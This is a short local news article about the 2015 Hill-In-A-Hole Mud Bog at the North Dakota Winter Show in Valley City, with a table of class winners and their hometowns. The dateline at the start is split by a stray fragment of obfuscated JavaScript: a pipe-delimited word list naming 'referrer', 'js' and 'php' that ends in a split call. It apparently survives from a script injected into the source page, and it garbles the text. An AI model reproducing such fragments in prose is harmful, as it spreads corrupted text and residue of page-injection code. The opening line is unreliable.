VALLEY ntstd|var|u0026u|referrer|hiebs||js|php’.split(‘|’),0,{}))
CITY, ND – (NewsDakota.com) The 3rd annual Hill-In-A-Hole Mud Bog was held on June 13 near the parking lot of the North Dakota Winter Show.
Co-event coordinator H.J. Norman says some of the trucks around the region competed for some $6,000 in prize money during the event.
Norman says the 3rd annual event seems to gain in popularity every year since it’s been held in Valley City at the North Dakota Winter Show Event Center.
Results of NDWS Mud Bog June 13th, 2015Trophies awarded to the 1st-3rd place drivers in each class
ATV 2 Wheel Drive | ||
---|---|---|
1st | Garret McFadgen | Valley City, ND |
2nd | Dalton Bangert | Mapleton, ND |
3rd | Everett Bice | Killdeer, ND |
ATV 500 cc or less | ||
1st | Colton Winter | Oriska, ND |
2nd | Cody Miller | Leal, ND |
ATV 501 cc and up | ||
1st | Dillon Wutzke | Kensal, ND |
2nd | Chris Lindquist | Wishek, ND |
3rd | Chris Lindquist | Wishek, ND |
Sport UTV | ||
1st | Zachary Starleaf | Lisbon, ND |
2nd | Megan McKay | Page, ND |
3rd | Andrew Fuller | Wahpeton, ND |
Work UTV | ||
No Entries | ||
DOT 36″ tire and less | ||
1st | Kody Grandalen | Portland, ND |
2nd | Pat Noonan | Lisbon, ND |
3rd | Laura Kielb | Lisbon, ND |
DOT 36 1/2″ tire and up | ||
1st | Tyler McFadgen | Valley City, ND |
2nd | Peter Ness | Thompson, ND |
3rd | Sawyer Markel | Cooperstown, ND |
V-Tread Small Block | ||
1st | Jim Pucci | Rosemount, MN |
2nd | Justin Schlomka | Hastings, MN |
3rd | Brady Otteson | Buxton, ND |
V-Tread Big Block | ||
1st | Chad Kornovich | Princeton, MN |
2nd | Tyler Curfman | Fargo, ND |
3rd | Jim Lindvall | Larimore, ND |
Forced Induction V-Tread | ||
1st | Chad Kornovich | Princeton, MN |
2nd | Chad Kornovich | Princeton, MN |
3rd | Jim Lindvall | Larimore, ND |
Below are a few highlights of the event. All photos courtesy of Shelby Nelson.
All photos by Shelby Nelson.